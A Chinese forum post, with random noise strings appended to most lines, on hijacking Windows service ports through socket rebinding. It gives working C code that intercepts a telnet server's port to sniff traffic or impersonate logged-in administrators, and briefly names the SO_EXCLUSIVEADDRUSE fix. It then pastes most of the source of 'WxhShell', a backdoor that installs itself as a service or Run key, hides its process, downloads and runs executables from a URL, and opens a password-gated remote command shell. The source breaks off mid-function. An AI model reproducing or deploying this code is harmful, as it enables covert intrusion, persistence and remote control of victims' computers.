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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: A]xCF{*)&  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); +7Rt{C,  
O{BW;Deo  
  saddr.sin_family = AF_INET; O! (85rp/  
'M-)Os "  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); W0?JVtq0Z  
|0]YA  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 453 }S  
|Eu*P  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 c/RT0xql*  
OPLl*bnf  
  这意味着什么?意味着可以进行如下的攻击: //tT8HX  
FE}s#n_Pd  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 B G5X_s0/  
B,MQ.|s[  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) E4Zxv*  
cqjl5UB  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 J@gm@ jLc  
$>![wZ3  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  F {/>u(@3  
yWmrdvL  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 R` 44'y|  
sX!3_ '-  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 []=_<]{  
~W3:xnBEk  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 nfa_8  
hd8B0eD'  
  #include gY%OhYtF2  
  #include 3?  };  
  #include Yfe'#MKfL  
  #include    R~$hWu}}  
  DWORD WINAPI ClientThread(LPVOID lpParam);   },v&rkwR  
  int main() e|JIrOnc  
  { 3Qk/ Ll  
  WORD wVersionRequested; aU4R+.M7@  
  DWORD ret; 7oD y7nV4  
  WSADATA wsaData; N6WPTUQ1mF  
  BOOL val; 5 >'66gZ  
  SOCKADDR_IN saddr;  w"BIv9N  
  SOCKADDR_IN scaddr; >T`zh^+5W  
  int err; ;eP_;N5+J  
  SOCKET s; [z^Od  
  SOCKET sc; }'PG!+=I  
  int caddsize; +;YE)~R?  
  HANDLE mt; K[*h+YO  
  DWORD tid;   D/e&7^iK  
  wVersionRequested = MAKEWORD( 2, 2 ); 'frWu6]< 4  
  err = WSAStartup( wVersionRequested, &wsaData ); ?vMK'"  
  if ( err != 0 ) { 1E8$% 6VV  
  printf("error!WSAStartup failed!\n"); hr%U>U9F  
  return -1; 6={IMkmA  
  } U&`6&$]  
  saddr.sin_family = AF_INET; hH#lTye  
   kp'b>&9r  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 W8< @sq~I  
JR] )xPI`  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ?n2C  
  saddr.sin_port = htons(23); ES^NBI j5P  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) (Z5q&#f  
  { E2h(w_l  
  printf("error!socket failed!\n"); vz- 9<w;>a  
  return -1; y:~eU  
  } tsck|;v  
  val = TRUE; #,t2*tM  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 SE6>vKR/.  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) LFl2uV"  
  { *@CVYJ'<  
  printf("error!setsockopt failed!\n"); 1]"D%U=  
  return -1; Yd[U  
  } jMTRcj];(  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; mluW=fE  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 b*cW<vX}~  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 :b.3CL\.6  
a:=q8Qy  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) $[)6H7!U)  
  { ThjUiuWe  
  ret=GetLastError(); @mvIt  
  printf("error!bind failed!\n"); zB;'_[8M  
  return -1; AU3auBol ^  
  } Tnf&pu#5  
  listen(s,2); MKV=m8G=  
  while(1) 2r %>]y  
  { 9 aY'0wa  
  caddsize = sizeof(scaddr); ?$UH9T9)  
  //接受连接请求 S4;wa6  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); +G<}JJ'V  
  if(sc!=INVALID_SOCKET) >?^~s(t  
  { :uOZjEZi  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); z`c%?_EK  
  if(mt==NULL) -FQC9~rR;g  
  { s4x'f$r  
  printf("Thread Creat Failed!\n"); p^T&jE8])#  
  break; eLCdAr  
  } ll^Th >  
  }  C/SapX  
  CloseHandle(mt); sGXp}{E9  
  } f1)HHUB  
  closesocket(s); W/#KX}4  
  WSACleanup(); Kl4isGcr]  
  return 0; P]|J?$1K  
  }   y2oB]^z&n  
  DWORD WINAPI ClientThread(LPVOID lpParam) 1[26w_B3  
  { >`<Ued  
  SOCKET ss = (SOCKET)lpParam; Mr$# e  
  SOCKET sc;  aeEw#  
  unsigned char buf[4096]; 3Cq6h;!#  
  SOCKADDR_IN saddr; ^RYn8I  
  long num; lF0K=L  
  DWORD val; D."cQ<sxpN  
  DWORD ret; _{N0OX  
  //如果是隐藏端口应用的话,可以在此处加一些判断 T+`xr0  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   *!._Ais,\  
  saddr.sin_family = AF_INET; (J6" ;  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); "9c.CI  
  saddr.sin_port = htons(23); D2Vb{%(4.  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)  Ask' !  
  { 8:Z@lp^  
  printf("error!socket failed!\n"); KC&H*  
  return -1; k)?,xY\AV  
  } &?P=arU  
  val = 100; .}IK}A/-  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) >+yqjXRzm  
  { F% F c+?  
  ret = GetLastError(); b=6MFPbg  
  return -1; 1~["{u  
  } | \ s2  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) &p/S>qKu#  
  { :iP>z}h  
  ret = GetLastError(); |pfhrwJp  
  return -1; 6a "VCE]  
  } z7O Z4R:  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 0!9?H1>  
  { ^+(A&PyP?  
  printf("error!socket connect failed!\n"); *>H M$.?Q  
  closesocket(sc); r]8wOu-'  
  closesocket(ss); Q%M'[L?[  
  return -1; o0zc}mm  
  } 08<k'Oi]  
  while(1) F{#N6,T  
  { !yoSMI-  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 )e4WAlg8c  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 O"_erH\nk  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 2rK-X_}  
  num = recv(ss,buf,4096,0); h Jfa_  
  if(num>0) Y|{r vBKjf  
  send(sc,buf,num,0); C><<0VhU  
  else if(num==0) *(?U  
  break; :z0s*,QH  
  num = recv(sc,buf,4096,0); LydbP17K}  
  if(num>0) ek<PISlci  
  send(ss,buf,num,0); .V5q$5j  
  else if(num==0) ib5;f0Qa  
  break; oV0LJ%  
  } ga4/,   
  closesocket(ss); e%P+KX  
  closesocket(sc); #6Efev  
  return 0 ; DFt=%aV[  
  } Sqp;/&Ji  
Q3<bC6$r  
,!o\),N  
========================================================== XM$5S+e  
fe& t-  
下边附上一个代码,,WXhSHELL ikEWY_1Y  
g@S@d&9  
========================================================== <7_ |Q   
1g~Dm}m  
#include "stdafx.h" m.\ >95!  
{ ()p%#*  
#include <stdio.h> t,--V|7-  
#include <string.h> jMm_A#V>p  
#include <windows.h> Ns+)Y^(5  
#include <winsock2.h> =yk Rki  
#include <winsvc.h> R-r+=x&  
#include <urlmon.h> 4*p_s8> >  
9%p7B~}E  
#pragma comment (lib, "Ws2_32.lib") !$:0E y(S  
#pragma comment (lib, "urlmon.lib") M iP[UCh  
?$"x^=te7  
#define MAX_USER   100 // 最大客户端连接数 iQ]T+}nn_  
#define BUF_SOCK   200 // sock buffer <Um1h:^   
#define KEY_BUFF   255 // 输入 buffer fP^W"y  
wQo6!H "K  
#define REBOOT     0   // 重启 ..P=D <'f  
#define SHUTDOWN   1   // 关机 Zd[y+$>  
2.fyP"P L  
#define DEF_PORT   5000 // 监听端口 T[Z <bW~0  
2]of SdM  
#define REG_LEN     16   // 注册表键长度 ,XWay%8{E  
#define SVC_LEN     80   // NT服务名长度 HMEs8.  
?G~/{m.  
// 从dll定义API w6WGFQ_%  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); W%Y.SP$Y  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); H{ n>KZ]\  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); .c=$ bQ>^  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); u%+6Mp[E  
jQ.>2-;H9  
// wxhshell配置信息 !#,-  
struct WSCFG { 8!`7-  
  int ws_port;         // 监听端口 Vze!/ED  
  char ws_passstr[REG_LEN]; // 口令 Dg9--wI}I9  
  int ws_autoins;       // 安装标记, 1=yes 0=no ;ZxK3/(7  
  char ws_regname[REG_LEN]; // 注册表键名 rQd1Ch  
  char ws_svcname[REG_LEN]; // 服务名 M-&^   
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ?J^IAF y  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 'NQMZfz  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 p?Z+z  
int ws_downexe;       // 下载执行标记, 1=yes 0=no xWenKY,  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" }AMYU>YE=  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 %8Z|/LGg  
!^Z[z[  
}; 3X-{2R/ 3  
%KabyvOl)  
// default Wxhshell configuration u):%5F/  
struct WSCFG wscfg={DEF_PORT, X <ba|(  
    "xuhuanlingzhe", `'G),{ j  
    1, ^G'yaaLXR  
    "Wxhshell", haEZp6Z  
    "Wxhshell", *#prSS  
            "WxhShell Service", \28b_,i+  
    "Wrsky Windows CmdShell Service", ~# hE&nq  
    "Please Input Your Password: ", )E[ Q  
  1, M\Uc;:) H  
  "http://www.wrsky.com/wxhshell.exe", 2HvTM8  
  "Wxhshell.exe" WL)_8!  
    }; UZ4tq  
4 BE:&A  
// 消息定义模块 ]zhq.O >2{  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; V:,3OLL*  
char *msg_ws_prompt="\n\r? for help\n\r#>"; .  T6_N  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; F'?5V0\he  
char *msg_ws_ext="\n\rExit."; @ }zS/LO  
char *msg_ws_end="\n\rQuit."; @,y FY  
char *msg_ws_boot="\n\rReboot..."; D*d 3w  
char *msg_ws_poff="\n\rShutdown..."; GM9]>"#o\  
char *msg_ws_down="\n\rSave to "; +s+PnZ%0V  
wa(Wit"-  
char *msg_ws_err="\n\rErr!"; T9<H%iF  
char *msg_ws_ok="\n\rOK!"; ;i-D~Np|  
yO$r'9?,*  
char ExeFile[MAX_PATH]; VuO)  
int nUser = 0; HonAK  
HANDLE handles[MAX_USER]; "EOk^1,y  
int OsIsNt; xvdnEaWe$  
2kp|zX(  
SERVICE_STATUS       serviceStatus; :uT fhr  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; %4r!7X|O<  
=XRgT1>e  
// 函数声明 .^9/ 0.g8t  
int Install(void);  hZss  
int Uninstall(void); Yn[EI7D  
int DownloadFile(char *sURL, SOCKET wsh); iP#A-du  
int Boot(int flag); %CsTB0Y7n,  
void HideProc(void); AT8B!m   
int GetOsVer(void); xy z\;3  
int Wxhshell(SOCKET wsl); lvz:UWo  
void TalkWithClient(void *cs); 72 s$  
int CmdShell(SOCKET sock); % Zl_{Q]h  
int StartFromService(void); %b>y  
int StartWxhshell(LPSTR lpCmdLine); X."h Tha5  
-pU\"$nuxH  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 0-t4+T  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); GH; F3s  
O'&X aaZV  
// 数据结构和表定义 fdCxMKlu;  
SERVICE_TABLE_ENTRY DispatchTable[] = <Hr@~<@~  
{ 3*2&Fw!B  
{wscfg.ws_svcname, NTServiceMain}, {Gb)Et]<  
{NULL, NULL} gk_Xu  
}; &>) `P[x  
A\PV@w%A i  
// 自我安装 . f.j >  
int Install(void) ZAnO$pA  
{ e u=f-HW]  
  char svExeFile[MAX_PATH]; 0\_R|i_`>  
  HKEY key; ~qLhZR\g^  
  strcpy(svExeFile,ExeFile); *Y^Y  
*\~kjZ 3  
// 如果是win9x系统,修改注册表设为自启动 PU@U@  
if(!OsIsNt) { {C0OrO2:  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { j_ywG{Jk  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); G"UH4n[1ur  
  RegCloseKey(key); oVuj020  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { xt<, (4u  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); p-(ADQS  
  RegCloseKey(key); M;RnH##W  
  return 0; w_z^5\u0  
    } a,0o{* (u$  
  } ?w5nKpG#RI  
} )Ido|!]0d  
else { si mX  
z7l;|T  
// 如果是NT以上系统,安装为系统服务 `aWwF} +Y  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 2h? r![  
if (schSCManager!=0) fY\tvo%  
{ {'wU&!  
  SC_HANDLE schService = CreateService 1^H<+0  
  ( ^)0{42!]  
  schSCManager, {</$ObK  
  wscfg.ws_svcname, )S;Xy`vO  
  wscfg.ws_svcdisp, `w+9j-  
  SERVICE_ALL_ACCESS, 3sg)]3jm2  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , _I70qz8  
  SERVICE_AUTO_START, _^2[(<Gmv  
  SERVICE_ERROR_NORMAL, 3_1Io+uXk  
  svExeFile, M:Y!k<p  
  NULL, YT 03>!B  
  NULL, '`goy%Wd  
  NULL, CK`3   
  NULL, }yC,uEV  
  NULL ,w58n%)H  
  ); ;|$]Qq  
  if (schService!=0) A'AWuj\r2R  
  { d[Fr  
  CloseServiceHandle(schService); 5_tK3Q8?  
  CloseServiceHandle(schSCManager); u%IKM \  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ~PAbLSL*u  
  strcat(svExeFile,wscfg.ws_svcname); JU%yqXO  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { v,.n/@s|X  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 1.d9{LO[-  
  RegCloseKey(key); MPEBinE?  
  return 0; Nxs%~ wZ   
    } Xi`U`7?D(=  
  } [@FeRIu8  
  CloseServiceHandle(schSCManager); ^CZ|ci6bX  
} #y9K-}u  
} ^[\53\R~  
fN%5D z-e  
return 1; *1$~CC7  
} .LTFa.jxA  
hpi_0lMkI  
// 自我卸载 #pn AK  
int Uninstall(void) 9 0if:mYA  
{ K'rs9v"K|  
  HKEY key; Nm:<rI,^  
N,+g/o\f  
if(!OsIsNt) { .N><yQ-j3'  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ^fiRRFr[  
  RegDeleteValue(key,wscfg.ws_regname); md +`#-D\O  
  RegCloseKey(key); czsoD) N  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { SFPIr0 u  
  RegDeleteValue(key,wscfg.ws_regname); ;@-5lCvC(+  
  RegCloseKey(key);  !+VN   
  return 0; Hr,gV2n  
  } =/'*(\C2  
} -8kW!F  
} Eq.zCD8A  
else { nhxd  
K[;,/:Y  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); U[ O!&:6  
if (schSCManager!=0) ^EBM;&;7  
{ 3UtXxL&L`  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Mw7UU1 ei  
  if (schService!=0) Q+js2?7^  
  { cZ2, u,4  
  if(DeleteService(schService)!=0) { iwTBE]J  
  CloseServiceHandle(schService); BL^Hj  
  CloseServiceHandle(schSCManager); PaI63 !  
  return 0; o|n0?bThS-  
  } 9d(v^T  
  CloseServiceHandle(schService); > Vm  
  } eS%6 h U b  
  CloseServiceHandle(schSCManager); "ZB`fNE  
} ..{^"`FQ  
} [&k k  
EBE>&{%$^  
return 1; ,^[37/S  
} 0$h$7'a  
6]A\8Ty  
// 从指定url下载文件 lfhKZX  
int DownloadFile(char *sURL, SOCKET wsh) DmA!+  
{ "1TM  
  HRESULT hr; X10TZ  
char seps[]= "/"; <1%XN  
char *token; ieoUZCO^r\  
char *file; =` >Nfa+,  
char myURL[MAX_PATH]; F88SV6  
char myFILE[MAX_PATH]; Pw{{+PBu R  
@%85k/(  
strcpy(myURL,sURL); Y$5v3E\uc  
  token=strtok(myURL,seps); Kyiez]T6%q  
  while(token!=NULL) NW Qu-]P  
  { UHszOl  
    file=token; _IGa8=~  
  token=strtok(NULL,seps); TK?N^ly  
  } {$=%5  
d#,V^  
GetCurrentDirectory(MAX_PATH,myFILE); X"59`Yh  
strcat(myFILE, "\\"); %31K*i/]  
strcat(myFILE, file); ?O^:j!C6  
  send(wsh,myFILE,strlen(myFILE),0); qGUe0(  
send(wsh,"...",3,0); <.XoC?j  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ,(?4T~  
  if(hr==S_OK) \>k#]4@rp  
return 0; J-?(sjIX  
else j'b4Sb s-f  
return 1; 4KB?g7_*  
Mo r-$a8  
} #`wfl9tj  
R.$Y1=U6  
// 系统电源模块 ^Iq.0E9_  
int Boot(int flag) z]_CFo1'l  
{ MNE)<vw>  
  HANDLE hToken; {%}6 d~Bg  
  TOKEN_PRIVILEGES tkp; ~OfKn1D  
wWswuhq<  
  if(OsIsNt) { O@&I.d$  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); GgZf6~b1J  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); \:28z  
    tkp.PrivilegeCount = 1; dL"i\5#%A  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; "2j~3aWj  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); vv_?ip:t  
if(flag==REBOOT) { *M5C*}dl  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) uT2cHzqKB  
  return 0; ;8kfgp M_  
} @}RyW&1Z  
else { QCnVZ" !(  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Y0'^S<ox  
  return 0; ?%n9g)>Yej  
} v)pWx0l=  
  } W]]2Uo.  
  else { t $%}*@x7  
if(flag==REBOOT) { GUZi }a|=  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ?E+XD'~  
  return 0; ;!Bkk9r"H  
} 5mBk[{  
else { CBHWMetJ*  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) @isqFKjph  
  return 0; DzOJ{dF  
} :fUmMta  
} ?7s  
0']M,iC/  
return 1; ^<b.j.$<z  
} 0+h?Bk  
%uMsXa  
// win9x进程隐藏模块 =~*u(0sJa  
void HideProc(void) -p~B -,  
{ 0nn# U  
w-/Tb~#E  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); -OAH6U9^  
  if ( hKernel != NULL ) zj4JWUM2  
  { y['icGU6  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");  3".W  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); >?x Vr  
    FreeLibrary(hKernel); 3N\X{za  
  } ?!vW&KJZx  
.=D6<4#t  
return; M](U"K?  
} r73Xh"SL  
t?Znil|o  
// 获取操作系统版本 ymqhI\>y#  
int GetOsVer(void) s#sX r  
{ )E|Bb=%  
  OSVERSIONINFO winfo; >X,6  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); IHfqW?  
  GetVersionEx(&winfo); AS ul  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) v]sGdZ(6-  
  return 1; 3M`J.>  
  else ea/6$f9^  
  return 0; N~YeAe~+  
} **[p{R]8o  
KcE=m\h  
// 客户端句柄模块 J0o[WD$A x  
int Wxhshell(SOCKET wsl) U[u6UG  
{ tL|Q{+i yE  
  SOCKET wsh; W[ DB !ue  
  struct sockaddr_in client; [ j_jee  
  DWORD myID; YN3uhd[2  
v4zARE9#  
  while(nUser<MAX_USER) wVB8PO8  
{ iBt5aUt  
  int nSize=sizeof(client); Z m>69gl  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 1owoh,V6  
  if(wsh==INVALID_SOCKET) return 1; 6ZJQ '9f  
&bNj/n/  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); #/6X44 *u  
if(handles[nUser]==0) g;1 UZE;  
  closesocket(wsh); vF 1$$7k  
else ,$>Z= ~x*  
  nUser++; U/X ^  
  } s,8%;\!C  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); !LA#c'  
IuL ]V TY  
  return 0; 7t QiKrhp  
} LgYzGlJp  
P7!Sc  
// 关闭 socket 3m'6cMQ  
void CloseIt(SOCKET wsh) BDg /pDnwg  
{ G<I5%Yo6G  
closesocket(wsh); 8h=XQf6k0  
nUser--; c@P,  
ExitThread(0); > im4'-  
} j- -#vEW  
&-9D.'WzP  
// 客户端请求句柄 >Ww F0W9?  
void TalkWithClient(void *cs) muLTYgaM  
{ <dZ{E7l  
'S\H% -  
  SOCKET wsh=(SOCKET)cs; 'lF|F+8   
  char pwd[SVC_LEN]; EOiKwhrV  
  char cmd[KEY_BUFF]; fr7/%{s  
char chr[1]; }9JPSl28Jr  
int i,j; -K{ID$!p  
!~#31kL&  
  while (nUser < MAX_USER) { q]aRJ`9f  
[S%  
if(wscfg.ws_passstr) { t+VPX2  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); n >^?BU  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); <f%9w]  
  //ZeroMemory(pwd,KEY_BUFF); zq#o8))4X  
      i=0; 8~bPoWP  
  while(i<SVC_LEN) { 3ml|`S  
$n) w4p_  
  // 设置超时 }% =P(%-  
  fd_set FdRead; ) )Nc|`  
  struct timeval TimeOut; 0#ph1a<  
  FD_ZERO(&FdRead); aNz%vbh\  
  FD_SET(wsh,&FdRead); /:DxB00  
  TimeOut.tv_sec=8; /\.kH62  
  TimeOut.tv_usec=0; 4#T'Fy].  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); aVlHY E  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Hcpw [%(  
K|&y?w  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); TFhj]r^ {  
  pwd=chr[0]; UTz;Sw?~hw  
  if(chr[0]==0xd || chr[0]==0xa) { U8d  wb  
  pwd=0; S70ERRk  
  break; BsAglem  
  } @UA>6F  
  i++; #KwFrlZ  
    } 9o6y7hEQy  
*e R$  
  // 如果是非法用户,关闭 socket mMR[(  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 9D@Ez"xv  
} C<pF13*4  
w?[)nlNW  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 1VeCAx[e  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); otOl7XF  
Ldu!uihx  
while(1) { N\u-8nE5  
_VJb i,V  
  ZeroMemory(cmd,KEY_BUFF); -%A6eRShk  
&&JMw6 &[`  
      // 自动支持客户端 telnet标准   <:p&P  
  j=0; /[IK [  
  while(j<KEY_BUFF) { P_;oSN|>  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); REJ}T:  
  cmd[j]=chr[0]; .F]6uXd  
  if(chr[0]==0xa || chr[0]==0xd) { HZm44y$/  
  cmd[j]=0; [x&&N*>N  
  break; 1Dbe0u  
  } 5H79) n>  
  j++; OygYP  
    } ?E`J-ncP  
_tjH=Ff$  
  // 下载文件 9'tM65K  
  if(strstr(cmd,"http://")) { mb#)w`<  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Yv{AoL~  
  if(DownloadFile(cmd,wsh)) 6l=n&YO  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); {Hb _o)S  
  else &I70veNY  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); jq[>PvR  
  } =($qiL'h  
  else { c/s'&gG33z  
k`?n("j  
    switch(cmd[0]) { 5rc<ibGh  
  {BJxRH"&6*  
  // 帮助 ELm#  
  case '?': { hZpFI?lqc\  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); []@Mk  
    break; zIL.R#|D=  
  } {3;4=R3  
  // 安装 5=dg4"b]  
  case 'i': { WN0^hDc-  
    if(Install()) m?csake.Me  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); wiutUb Y  
    else GVg0)}  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); a+X X?uN{  
    break; a\zbi$S  
    } FGZOn5U6'  
  // 卸载 *33Zt+  
  case 'r': { m^ILcp!  
    if(Uninstall()) i^n&K:6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {{O1C ~  
    else y.>r>o"0  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {U4%aoBd8  
    break; h7*m+/O  
    } $ }&6p6|  
  // 显示 wxhshell 所在路径 J sH9IK:  
  case 'p': { JeO(sj$e  
    char svExeFile[MAX_PATH]; ]@'YlPU  
    strcpy(svExeFile,"\n\r"); ";jhj:Xj  
      strcat(svExeFile,ExeFile); 7~IAgjo,@  
        send(wsh,svExeFile,strlen(svExeFile),0); ICGBU>Db  
    break; FNUue  
    } |ey6Czm  
  // 重启 7==Uoy*O  
  case 'b': { 4g6d6~098;  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); eX=W+&lj  
    if(Boot(REBOOT)) AttDD{Ta  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Q%85,L^U  
    else { lwK Au!l  
    closesocket(wsh); I|p(8 R!  
    ExitThread(0); 6VA@;g0$  
    } ^rx]Y;  
    break; UCl,sn  
    } Q4UaqiL  
  // 关机 5VISP4a  
  case 'd': { GI/g@RV  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ~O<Bs{8  
    if(Boot(SHUTDOWN)) /{Nx%PqL  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); J3K!@m_\  
    else { 3 D\I#g  
